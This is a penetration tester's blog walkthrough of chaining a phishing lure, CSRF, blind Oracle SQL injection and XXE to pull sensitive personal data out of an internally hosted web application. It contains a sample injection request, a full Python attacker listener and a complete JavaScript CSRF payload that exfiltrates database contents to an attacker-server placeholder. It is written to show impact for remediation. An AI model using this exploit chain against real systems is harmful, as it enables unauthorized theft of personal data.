Mike

Mike Czumak

Welcome!
I'm a CISO, father, servant leader, and lifelong learner.
[Views are my own]

My Why:
To invest in the success and well-being of others, so that they never have to settle for anything less than great

Mike Czumak

12 minute read

Introduction

Whether its’s for a bug bounty or a penetration test, it’s very important to demonstrate the impact of a vulnerability. Not only do most organizations have limited resources and competing priorities (so turning over a report with a long list of low impact vulnerabilities isn’t very helpful), but in the case of bug bounties, it also dictates payouts.

Another important thing to remember is that a bug by itself might not be significant, but when chained with other vulnerabilities, the impact can increase, sometimes significantly. This particular walkthrough is inspired by a testing engagement in which I discovered and chained together Cross Site Request Forgery (CSRF), SQL injection (SQLi), and XML External Entity (XXE) injection vulnerabilities with a phishing attack to demonstrate the potential for external data exfiltration on an application with limited exposure and user access.

This post won’t go into detail on how to find these vulnerabilities (there are many great resources online for that) but will instead serve as example of how to chain bugs together to maximize impact. Also, I will not be disclosing any application or vendor names and I have generalized all code examples. The concepts and examples in this post are not specific to any one application and could apply anywhere you find these vulnerabilities.

Defining Risk / Impact

I typically think of the risk associated with any vulnerability as a product of Likelihood and Impact. How likely is it to be exploited and, if that should happen, what would the impact be? In this case, the application I was testing stored very sensitive personal information so any bugs that could allow for unauthorized access could lead to a significant impact (as it relates to data confidentiality). However, the application was not publicly exposed and usage was restricted to a subset of internal users. In such a case, likelihood of exploitation it typically reduced due to a smaller attack surface. However, “reduced” does not mean eliminated. I have heard “internally-hosted” used as a justification to not require secure code or bug fixes under the incorrect assumption that it’s impossible to compromise an application if it isn’t exposed to the Internet. However, as we can demonstrate through phishing or bugs such as SSRF, or post-compromise pivoting, internal-only applications should NEVER be considered impervious to external attacks.

In these situations I try to understand how (and by whom) the application is used in order to think of ways that it could be targeted by external threat actors. I also like to understand as much as I can about the application and the underlying technologies to find all avenues of potential exploitation.

Initial Testing

While I was testing this particular application I noted there were no CSRF protections which obviously is problematic when it comes to protecting restricted functions (e.g. user account creation), even for an internally-hosted applications with a small user base. I often chain CSRF with other bugs (XSS) to demonstrate impact, so I took note and moved on to other testing.

Further testing uncovered an inference-based SQLi vulnerability in an ID field that that allowed for data exfiltration one character at a time based on variations in server response (which I automated via Burp Intruder). The vulnerable request looked someting like this:

POST /app/function HTTP/1.1
Host: server.domain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://server.domain.com/app/function
Cookie: appcookie=cookievalue
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 110

app_fn=FUNCTION_NAME&app_fn_type=FUNCTION_TYPE&pid=54934%20or%20substr((select%20user%20from%20dual),1,1)%3d'O'

Although the impact of such a vulnerability would typically be high (given the sensitive nature of the data), because the number of user accounts were limited (as was the locations from which they were accessible), this was not an attack that any external malicious actor would be able to easily perpetrate. If possible, I wanted to find a way to increase the likelihood.

CSRF is certainly a vector to get an authorized user to execute SQLi, but at this point, even if an external attacker could trick a user into executing Blind SQLi via CSRF, there would be no way to gain access to the resulting output. I needed a way to somehow get out-of-band data exfiltration too.

Understanding The Underlying Technologies

It’s very important to gain an understanding of the underlying technologies used by an application so that you can consider all possibilities for vulnerability discovery. Even with grey/black-box testing, there are multiple ways to identify underlying technologies – you can leverage vulnerabilities like SQLi to extract information, use plugins like Wappalyzer to fingerprint technologies, and if testing a commercial product, review any published documentation (admin guides, technical specifications, etc).

In this particular case, I knew from SQLi data enumeration that I was dealing with an Oracle database. While researching the version in question I came across this:

Due to the security features in Oracle’s XML parser, the external schema is resolved, but not parsed. This prevents certain XXE injection attacks, such as reading local files on the remote database server. However, an attacker could send a specially-crafted SQL Query to trigger the XML Resolver, tricking the server into connecting to a remote resource via HTTP or FTP channels. This makes it possible to exfiltrate data via Out-Of-Band channels, perform port-scanning on remote internal systems, perform Server-Side Request Forgery (SSRF) attacks or cause a Denial-of-Service (DoS) condition.

I also noted there was a patch released for this vulnerability but as we know, patches are not always installed in a timely manner (or sometimes at all). A quick test proved that I could trigger an out-of-band connection to a listening server, confirming the patch had not been implemented. The next step was determining whether I could chain this with the other bugs to demonstrate how an external attacker could exfiltrate data.

Chaining the Bugs For Maximum Impact

My plan was to use a phishing attack to deliver a CSRF payload which would execute the SQLi to extract sensitive data from the database and transmit it out-of-band to the attacker via the XXE vulnerability.

Phishing ===> SQLi via CSRF ===> XXE ===> “Attacker” server listening on port XXXX

Extracting data via SQLi ultimately requires table and column enumeration but I didn’t want to build the chained exploit based on the assumption that the threat actor would require prior knowledge of the database schema. In a typical SQLi exploit where you have direct access to the application, enumerating tables and columns is an interactive process. However, this particular XXE-based out-of-band approach meant there would be no direct interaction between attacker and application. The other challenge here was that I could not read application responses via a hosted exploit webpage due to CORS restrictions.

To overcome these limitations I opted to use a JavaScript-based payload (delivered via phishing) which would have an authenticated user execute a series of functions (via CSRF), communicating with an external server between each function call to parse results and construct additional SQLi commands on-the-fly. Essentially the steps would look something like this:

  1. The attacker sends the victim a phishing email with a link to a malicious page hosting a series of JavaScript functions.
  2. Upon visiting the malicious page, the authenticated user (victim)
    • a) communicates with the attacker’s server to obtain a list of keywords for database table enumeration
    • b) executes the first SQLi attack (via CSRF) to obtain a list of relevant tables and
    • c) sends the results out-of-band back to the attacker’s listening server thanks to the XXE vulnerability
  3. The authenticated user
    • a) once again communicates with the listener to retrieve the results of the first SQLi and
    • b) executes another CSRF-based SQLi to extract the names of the table columns,
    • c) returning those results back to the listening server via XXE
  4. The authenticated victim
    • a) communicates with the server one last time to get the list of columns, and they now have the info needed to
    • b) extract sensitive data from the relevant tables via CSRF/SQLi.
    • c) These final results are sent to the attacker via XXE

These functions would be chained together, with each function calling the next upon completion, requiring no interaction on the part of the authenticated user after the initial link click.

Here’s a visual of the general flow:


chained_exploit_flow

The Chained Exploit Code

I set up a Python listener to mimic the “attacker” server which looked something like this:

from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
import random 

table_of_interest = ""
tables_of_interest = []
column_table_dict = {}
sqli_dict = {}
keywords_of_interest = ["PII"]

class RequestHandler(BaseHTTPRequestHandler):
	
    def do_GET(self):
    
    	global keywords_of_interest
    	global tables_of_interest
    	global column_table_dict
    	global sqli_dict
    	
    	# local vars
    	request_path = self.path
    	columns = ""
    	column_sep = "||'-'||"
    	
    	# return the keyword of interest
    	if "get_keywords" in request_path:
			
    		self.send_response(200)
        	self.send_header('Content-type','text/html')
        	self.send_header('Access-Control-Allow-Origin', '*')
        	self.end_headers()
        
    		self.wfile.write(keywords_of_interest)
    		print "[*] Searching for tables containing columns with the following keyword(s): %s" % keywords_of_interest
    		
    		table_of_interest = ""
    		columns_of_interest = []
    		tables_of_interest = []

		# we're looking for any table with a column name containing one of our keywords 
        elif "table_of_interest" in request_path:
        	table_of_interest = request_path.split(':')[1].replace("/", "")
        	if (table_of_interest != "") and (table_of_interest not in tables_of_interest):
        		tables_of_interest.append(table_of_interest)
	
		# the client wants the name of the tables to enumerate
        elif "get_tables" in request_path:
        		
        	for table in tables_of_interest:
        		print "\t[+]%s" % table
        	self.send_response(200)
        	self.send_header('Content-type','text/html')
        	self.send_header('Access-Control-Allow-Origin', '*')
        	self.end_headers()
        	self.wfile.write(tables_of_interest)
        			
       		print "[*] Returned Table Names to Enumerate. Awaiting Results..." 


        # create a dictionary of the enumerated tables and corresponding columns 
        elif "column_of_interest" in request_path:
        	table_of_interest = request_path.split(':')[1].replace("/", "")
        	column_of_interest = request_path.split(':')[2].replace("/", "")
        	try:
        		columns_of_interest = column_table_dict[table_of_interest]
        	except:
        		columns_of_interest = []
        	
        	if (column_of_interest != "") and not (column_of_interest in columns_of_interest):
        		columns_of_interest.append(column_of_interest)
        		column_table_dict[table_of_interest] = columns_of_interest
    		 
        # the client is ready to receive the final sqli command
     	elif "get_sqli" in request_path:
     		
     		# build our sqli strings
     		for table in column_table_dict:
     			columns = ""
     			print "\t[+] %s" % table 
     			column_list = column_table_dict[table]
     			for column in column_list: 
     				print "\t\t[-] %s" % column 
     				columns += column+column_sep
				
				# remove trailing separator
        		k = columns.rfind(column_sep)
        		columns = columns[:k] + "" + columns[k+len(column_sep):]

				# build the sqli string and add to dictionary
        		sqli = "%20select%20'" + table + "'||'-'||" + columns + "%20FROM%20"+table+"%20ORDER%20BY%20dbms_random.value"
     			sqli_dict[table] = sqli

     		# send response code and headers
        	self.send_response(200)
        	self.send_header('Content-type','text/html')
        	self.send_header('Access-Control-Allow-Origin', '*')
        	self.end_headers()
        		
        	print "[*] Returned SQLi strings. Awaiting Results..." 

			# return final sqli command
        	self.wfile.write(sqli_dict) 
        
        # should be the returned SQLi results	 
     	else:
     		if request_path != "/":
				print "\t[+]%s" % request_path
		
    def do_OPTIONS(self):
     	self.send_response(200)
     	self.send_header('Access-Control-Allow-Origin', '*')
     	self.send_header('Access-Control-Allow-Methods', 'GET, OPTIONS')
     	self.send_header("Access-Control-Allow-Headers", "X-Requested-With")
     	self.send_header("Access-Control-Allow-Headers", "Content-Type")
     	self.end_headers()
     
    def log_message(self, format, *args):
     	return
      
def main():
    port = 8888
    print "[*] Listening on localhost:%s" % port
    server = HTTPServer(('', port), RequestHandler)
    server.serve_forever()
        
if __name__ == "__main__":
    main()

The CSRF/SQLi payload delivered to the user via phishing looked something like this:

<html>
<script>

function makeList(response_in) {
	list = response_in.replace(/[\]\[\}\{\'\"\ ]/g,"").split(",") // convert the response to list
	return list
}

function makeSQLI(response_in) {
	list = response_in.replace(/[\]\[\}\{\"\ ]/g,"").split(",") // convert the response to list
	return list
}

function executeSQLI(attacker_server, sqli_dict){	
	sqli_strings = makeSQLI(sqli_dict);
	for (index = 0; index < sqli_strings.length; ++index) {
		sqli = (sqli_strings[index]).split(":")[1];
		for (var i = 1; i < 10; i++) {
			var http = new XMLHttpRequest();

			params = "app_fn=APP_FN&pid='||(select%20extractvalue(xmltype('<%3fxml%20version%3d\"1.0\"%20encoding%3d\"UTF-8\"%3f><!DOCTYPE%20root%20[%20<!ENTITY%20%25%20blah%20SYSTEM%20\"http%3a%2f%2f"+attacker_server+"/'||(SELECT%20replace((select%20*%20from%20("+sqli+")WHERE%20ROWNUM=1),'%20','-')%20from%20dual)||'%2f\">%25blah%3b]>')%2c'%2fl')%20from%20dual)||'&is_selected=Y"

			var url = "https://server.domain.com/app/function?"+params;
			http.open("GET", url, true);
			
			http.setRequestHeader("Connection", "close");
			http.withCredentials = true;

			http.send(url);
		}
	}
}

function getSQLI(attacker_server) {
	var http = new XMLHttpRequest();
	var url = "http://"+attacker_server+"/get_sqli";
	http.open("GET", url, true);

	http.onreadystatechange = function() {//Call a function when the state changes.
		if(http.readyState == 4 && http.status == 200) {
			var sqli = http.responseText; //grab the response
			if(sqli != ""){
				executeSQLI(attacker_server, sqli);
			}
		}
	}
	http.send(url);

}

function enumerateColumns(attacker_server, tablenames){
	tablenames = makeList(tablenames);
	for (index = 0; index < tablenames.length; ++index) {
		table = (tablenames[index]);
			for (var i = 1; i < 10; i++) {
				var http = new XMLHttpRequest();

				params = "app_fn=APP_FN&pid='||(select%20extractvalue(xmltype('<%3fxml%20version%3d\"1.0\"%20encoding%3d\"UTF-8\"%3f><!DOCTYPE%20root%20[%20<!ENTITY%20%25%20blah%20SYSTEM%20\"http%3a%2f%2f"+attacker_server+"/'||(SELECT%20replace((select%20*%20from%20(%20select%20'column_of_interest:'||table_name||':'||column_name%20FROM%20user_tab_columns%20where%20table_name='"+table+"'%20ORDER%20BY%20dbms_random.value)WHERE%20ROWNUM=1),'%20','-')%20from%20dual)||'%2f\">%25blah%3b]>')%2c'%2fl')%20from%20dual)||'&is_selected=Y"

				var url = "https://server.domain.com/app/function?"+params;
				http.open("GET", url, true);
				
				http.setRequestHeader("Connection", "close");
				http.withCredentials = true;	
				http.send(url);
			}
	}
	setTimeout(function() { getSQLI(attacker_server); return },30000);
}


function getTableNames(attacker_server){
	var http = new XMLHttpRequest();
	var url = "http://"+attacker_server+"/get_tables";
	http.open("GET", url, true);

	http.onreadystatechange = function() {//Call a function when the state changes.
		if(http.readyState == 4 && http.status == 200) {
			var tablenames = http.responseText; //grab the response
			if(tablenames != ""){
				enumerateColumns(attacker_server, tablenames);
				return

			}
		}
	}
	http.send(url);
}

function enumerateTables(attacker_server,keywords){
	keywords = makeList(keywords); 
	for (index = 0; index < keywords.length; ++index) {
		keyword = (keywords[index]);
	
		for (var i = 1; i < 10; i++) {
			var http = new XMLHttpRequest();

			params = "app_fn=APP_FN&pid='||(select%20extractvalue(xmltype('<%3fxml%20version%3d\"1.0\"%20encoding%3d\"UTF-8\"%3f><!DOCTYPE%20root%20[%20<!ENTITY%20%25%20blah%20SYSTEM%20\"http%3a%2f%2f"+attacker_server+"/'||(SELECT%20replace((select%20*%20from%20(%20select%20'table_of_interest:'||table_name%20FROM%20user_tab_columns%20where%20column_name%20like%20'%25"+keyword+"%25'%20ORDER%20BY%20dbms_random.value)WHERE%20ROWNUM=1),'%20','-')%20from%20dual)||'%2f\">%25blah%3b]>')%2c'%2fl')%20from%20dual)||'&is_selected=Y"
			
			var url = "https://server.domain.com/app/function?"+params;
			http.open("GET", url, true);
			
			http.setRequestHeader("Connection", "close");
			http.withCredentials = true;

			
			http.send(url);
		}
	}
	setTimeout(function() { getTableNames(attacker_server); return },10000);
	return
}

function getKeywords(attacker_server){
	var http = new XMLHttpRequest();
	var url = "http://"+attacker_server+"/get_keywords";
	http.open("GET", url, true);

	http.onreadystatechange = function() {
		if(http.readyState == 4 && http.status == 200) {
			var keywords = http.responseText; //grab the response
			if(keywords != ""){
				enumerateTables(attacker_server, keywords);
				return

			}
		}
	}
	http.send(url);
}	

attacker_server = "[IP]:[PORT]"; //You may also choose to get this from a GET param instead of hardcoding
getKeywords(attacker_server);

	
</script>
<body>
<!--Put whatever content you want to be visible to the user here-->
</body>
</html>

And here is what this looked like on the “attacker’s” server once an authenticated user clicks on the phishing link and visits the page hosting the CSRF/SQLi functions:

$ ./web_server.py 
[*] Listening on localhost:8888
[*] Searching for tables containing columns with the following keyword(s): ['PII']
    [+] TBL_PERSON_PII
[*] Returned Table Names to Enumerate. Awaiting Results ...
    [+] TBL_PERSON_PII
        [-] LAST_NAME
        [-] FIRST_NAME
        [-] PII
[*] Returned SQLi strings. Awaiting Results...
    [+] /Smith--James--Really-Sensitive-PII/
    [+] /Porter--Sarah--Really-Sensitive-PII/
    [+] /Davis--Tyron--Really-Sensitive-PII/
    . . . 

** Please note this POC code was quickly put together during a limited testing engagement for demonstration purposes. The code is by no means perfect but I thought it might be helpful for context.

Conclusion

While this example is not without its limitations (it requires social engineering of an authenticated user), hopefully it did provide some useful ideas on how you might chain multiple bugs together to demonstrate a greater impact. It certainly helped put these bugs into context for the development teams and business stakeholders and made it easier to prioritize remediation. It also helped to illustrate a few other points that were not as easily demonstrated by the individual bugs alone:

  1. Internally hosted applications are still vulnerable to external attacks
  2. There are ways to overcome limitations of restrictions from controls such as CORS
  3. Application vulnerabilities can be chained with other bugs (e.g. database, web server, operating system, etc.) so always consider the underlying architecture

Providing POC exploit code can also be a big help to developers for remediation. In addition, I often provide videos of these chained exploits in-action to make them easier to understand and to better illustrate potential impact (which is particularly useful for non-technical stakeholders).

I hope you found this useful and I do plan on writing more about testing tips, discovered bugs and lessons learned. In the interim feel free to reach out to me on LinkedIn and Twitter.

Follow me on LinkedIn


Recent posts

Categories

About

More about me ...